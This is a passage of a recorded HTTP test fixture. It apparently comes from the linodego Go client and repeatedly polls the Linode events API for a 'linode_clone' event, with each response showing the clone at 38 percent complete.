"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.494632, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.555051, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.629777, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.702862, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.775099, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.837886, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.902287, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 53.971026, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 54.043038, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 54.117232, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 54.191143, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 54.259004, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 54.327069, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 54.406747, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 54.475048, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 54.546973, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 54.611183, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 